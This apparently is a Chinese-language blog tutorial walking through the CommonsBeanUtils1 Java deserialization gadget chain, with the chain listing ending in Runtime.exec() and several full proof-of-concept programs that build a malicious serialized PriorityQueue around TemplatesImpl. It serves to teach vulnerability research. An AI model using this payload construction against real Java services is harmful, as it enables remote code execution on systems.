0x00 前言

CommonsBeanUtils1的链看了一下POC,确实思路很新奇,用了CommonsBeanUtils里面的PropertyUtils.getProperty方法去调用我们TemplatesImpl里面的newTransformer方法,在cc3的那篇文章只讲了一种调用的思路,其实在newTransformer的上一层还有一个方法去调用newTransformer的:

image-20231208152805499

那就是getOutputProperties方法:

public synchronized Properties getOutputProperties() {
        try {
            return newTransformer().getOutputProperties();
        }
        catch (TransformerConfigurationException e) {
            return null;
        }
    }

而且CommonsBeanUtils1这条链就很巧妙去利用JavaBean的Setter和Getter调用完成,只能说这个作者思路确实牛。

0x01 分析过程

环境准备

调试工具:IDEA

Java版本:8u65,下载地址:https://www.oracle.com/java/technologies/javase/javase8-archive-downloads.html

8u65源码:下载地址:https://hg.openjdk.java.net/jdk8u/jdk8u/jdk/archive/af660750b2f4.zip

pom文件配置:

<?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0"
         xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
         xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
    <modelVersion>4.0.0</modelVersion>

    <groupId>groupId</groupId>
    <artifactId>Java_code</artifactId>
    <version>1.0-SNAPSHOT</version>

    <properties>
        <maven.compiler.source>1.8</maven.compiler.source>
        <maven.compiler.target>1.8</maven.compiler.target>
    </properties>
    <dependencies>
        <dependency>
            <groupId>org.javassist</groupId>
            <artifactId>javassist</artifactId>
            <version>3.25.0-GA</version>
        </dependency>
        <dependency>
            <groupId>org.apache.logging.log4j</groupId>
            <artifactId>log4j-api</artifactId>
            <version>2.8.1</version>
        </dependency>
        <dependency>
            <groupId>cglib</groupId>
            <artifactId>cglib</artifactId>
            <version>3.3.0</version>
        </dependency>
        <dependency>
            <groupId>org.apache.logging.log4j</groupId>
            <artifactId>log4j-core</artifactId>
            <version>2.8.1</version>
        </dependency>
        <dependency>
            <groupId>com.beust</groupId>
            <artifactId>jcommander</artifactId>
            <version>1.48</version>
        </dependency>
        <dependency>
            <groupId>commons-collections</groupId>
            <artifactId>commons-collections</artifactId>
            <version>3.2.1</version>
        </dependency>
        <dependency>
            <groupId>org.apache.commons</groupId>
            <artifactId>commons-collections4</artifactId>
            <version>4.0</version>
        </dependency>
        <dependency>
            <groupId>commons-codec</groupId>
            <artifactId>commons-codec</artifactId>
            <version>1.11</version>
        </dependency>
        <dependency>
            <groupId>org.mybatis</groupId>
            <artifactId>mybatis</artifactId>
            <version>3.4.6</version>
        </dependency>
        <dependency>
            <groupId>commons-beanutils</groupId>
            <artifactId>commons-beanutils</artifactId>
            <version>1.7.0</version>
        </dependency>
        <dependency>
            <groupId>junit</groupId>
            <artifactId>junit</artifactId>
            <version>4.12</version>
            <scope>test</scope>
        </dependency>
    </dependencies>

</project>

前置知识

学习这条链之前我们需要有一些前置的知识,如果对TemplatesImplPriorityQueue的用法还没熟悉的话可以先去看CC2那篇文章,当然也可以去看网上的一些文章,只要能让你去快速理解的的文章都行,但是一定要弄懂中间的思路。

我们来看下PropertyUtils.getProperty是怎么使用的,因为这个类是在beanutils里面的所以叫做CommonsBeanUtils1链。

我们先新建一个User类:

public class UserInfo
{
    private String userId;
    private String userName;

    public UserInfo()
    {
    }

    public UserInfo(String userId, String userName)
    {
        this.userId = userId;
        this.userName = userName;
    }

    public String getUserId()
    {
        return userId;
    }

    public void setUserId(String userId)
    {
        this.userId = userId;
    }

    public String getUserName()
    {
        return userName;
    }

    public void setUserName(String userName)
    {
        this.userName = userName;
    }

    @Override
    public String toString()
    {
        return String.format("{userId:%s,userName:%s}", userId, userName);
    }
}

然后新建一个测试类,这里有设计maven的知识,可以去学习一下:

import org.apache.commons.beanutils.PropertyUtils;
import org.junit.Test;
public class PropertyUtilsTest
{
    @Test
    public void test() throws Exception
    {
        UserInfo userInfo = new UserInfo("xiaoming", "小明");
        System.out.println(PropertyUtils.getProperty(userInfo, "userName"));
    }
}

整个流程下来的思路就是PropertyUtils.getProperty会通过传入的参数userName去userInfo对象中里面获取到getUserName的方法,所以CB1就是利用这个特性去调用getOutputProperties方法。

你们也可以去debug跟一下这个流程,主要起作用的是下面这方法:

image-20231208154141166

它会走到getSimpleProperty方法,getReadMethod方法就是获取Bean的getUserName的方法,那么往下走就能看到使用反射的方式去调用我们的getUserName方法了:

} else {
            PropertyDescriptor descriptor = this.getPropertyDescriptor(bean, name);
            if (descriptor == null) {
                throw new NoSuchMethodException("Unknown property '" + name + "'");
            } else {
                Method readMethod = this.getReadMethod(descriptor);
                if (readMethod == null) {
                    throw new NoSuchMethodException("Property '" + name + "' has no getter method");
                } else {
                    Object value = this.invokeMethod(readMethod, bean, new Object[0]);
                    return value;
                }
            }

ok,这个分析完之后,这条链还会用到一个类叫做BeanComparator,这个类的compare方法刚好是有调用到我们上面的PropertyUtils.getProperty。

public int compare(Object o1, Object o2) {
        if (this.property == null) {
            return this.comparator.compare(o1, o2);
        } else {
            try {
                Object value1 = PropertyUtils.getProperty(o1, this.property);
                Object value2 = PropertyUtils.getProperty(o2, this.property);
                return this.comparator.compare(value1, value2);
            } catch (Exception var5) {
                throw new ClassCastException(var5.toString());
            }
        }
    }

而且BeanComparator也符合我们PriorityQueue所需要的Comparator对象,因为它就是继承Comparator接口的。这个类其实没什么好讲的,他们的构造方法你可以传参数也可以不传参数:

public BeanComparator() {
  this((String)null);
}

public BeanComparator(String property) {
  this(property, ComparableComparator.getInstance());
}

public BeanComparator(String property, Comparator comparator) {
  this.setProperty(property);
  this.comparator = comparator;
}

CommonsBeanUtils1分析

先给出我们的利用链:

Gadget chain:
	ObjectInputStream.readObject()
		PriorityQueue.readObject()
			PriorityQueue.heapify()
				PriorityQueue.siftDown()
					siftDownUsingComparator()
						BeanComparator.compare()
							TemplatesImpl.getOutputProperties()
								TemplatesImpl.newTransformer()
									TemplatesImpl.getTransletInstance()
										TemplatesImpl.defineTransletClasses()
											TemplatesImpl.TransletClassLoader.defineClass()
												Pwner*(Javassist-generated).<static init>
													Runtime.exec()

POC如下:


import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import javassist.ClassPool;
import org.apache.commons.beanutils.BeanComparator;

import java.io.*;
import java.lang.reflect.Field;
import java.util.PriorityQueue;

public class CB1 {
    public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
        Field field = obj.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj, value);
    }
    public static void main(String[] args) throws Exception {


        TemplatesImpl obj = new TemplatesImpl();
        setFieldValue(obj, "_bytecodes", new byte[][]{
                //取当前目录下的类路径EvilTemplatesImpl.class.getName(),如果在当前目录下可以直接写类名即可
                ClassPool.getDefault().get(EvilTemplatesImpl.class.getName()).toBytecode()
        });
        setFieldValue(obj, "_name", "HelloTemplatesImpl");


        BeanComparator beanComparator = new BeanComparator();
        PriorityQueue priorityQueue = new PriorityQueue(beanComparator);

        setFieldValue(beanComparator,"property","outputProperties");
        setFieldValue(priorityQueue,"queue",new Object[]{obj,obj});
        setFieldValue(priorityQueue, "size", 2);

        ByteArrayOutputStream barr = new ByteArrayOutputStream();
        ObjectOutputStream oss = new ObjectOutputStream(barr);
        oss.writeObject(priorityQueue);
        oss.close();

        ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
        ois.readObject();

    }

}

老规矩,我们先走一遍不用反序列化的流程:


import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassPool;
import org.apache.commons.beanutils.BeanComparator;
import org.apache.commons.collections4.functors.InvokerTransformer;
import org.apache.commons.collections4.comparators.TransformingComparator;

import java.io.*;
import java.lang.reflect.Field;
import java.util.PriorityQueue;

public class CB1 {
    public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
        Field field = obj.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj, value);
    }
    public static void main(String[] args) throws Exception {



        TemplatesImpl obj = new TemplatesImpl();
        setFieldValue(obj, "_bytecodes", new byte[][]{
                //取当前目录下的类路径EvilTemplatesImpl.class.getName(),如果在当前目录下可以直接写类名即可
                ClassPool.getDefault().get(EvilTemplatesImpl.class.getName()).toBytecode()
        });
        setFieldValue(obj, "_name", "HelloTemplatesImpl");
        setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());


        BeanComparator beanComparator = new BeanComparator("outputProperties");
        beanComparator.compare(obj,obj);


    }

}

这个是直接利用BeanComparator对象的compare方法,可以用里面的PropertyUtils.getProperty去调用TemplatesImpl的getOutputProperties,这样就算走完了整个触发流程。

我们还可以用PriorityQueue直接去调用反序列化里面的heapify方法,但是由于这个方法是私有的只能通过反射的方式去调用:


import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassPool;
import org.apache.commons.beanutils.BeanComparator;


import java.io.*;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.util.PriorityQueue;

public class CB1 {
    public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
        Field field = obj.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj, value);
    }
    public static void main(String[] args) throws Exception {



        TemplatesImpl obj = new TemplatesImpl();
        setFieldValue(obj, "_bytecodes", new byte[][]{
                //取当前目录下的类路径EvilTemplatesImpl.class.getName(),如果在当前目录下可以直接写类名即可
                ClassPool.getDefault().get(EvilTemplatesImpl.class.getName()).toBytecode()
        });
        setFieldValue(obj, "_name", "HelloTemplatesImpl");
        setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());



        BeanComparator beanComparator = new BeanComparator();


        PriorityQueue priorityQueue = new PriorityQueue();

        setFieldValue(beanComparator,"property","outputProperties");
        setFieldValue(priorityQueue,"queue",new Object[]{obj,obj});
        setFieldValue(priorityQueue, "size", 2);
        Class aClass = priorityQueue.getClass();
        Method heapify = aClass.getDeclaredMethod("heapify");
        heapify.setAccessible(true);
        heapify.invoke(priorityQueue);



    }

}

0x02 总结

其实从CC1开始学,到后面的链会越来越快,调用的方式和方法就那么的几个,只要熬过前面的基础,后面就可以很方法去调用了。所以大家学到反序列化这块一定要熬过前面的阶段,弄懂其中的原理。

0x03 参考

https://blog.knownsec.com/index.html%3Fp=3413.html

https://x-f1v3.github.io/blog/1620289251280.html

Java安全漫谈 - 17.CommonsBeanutils与无commons-collections的Shiro反序列化利用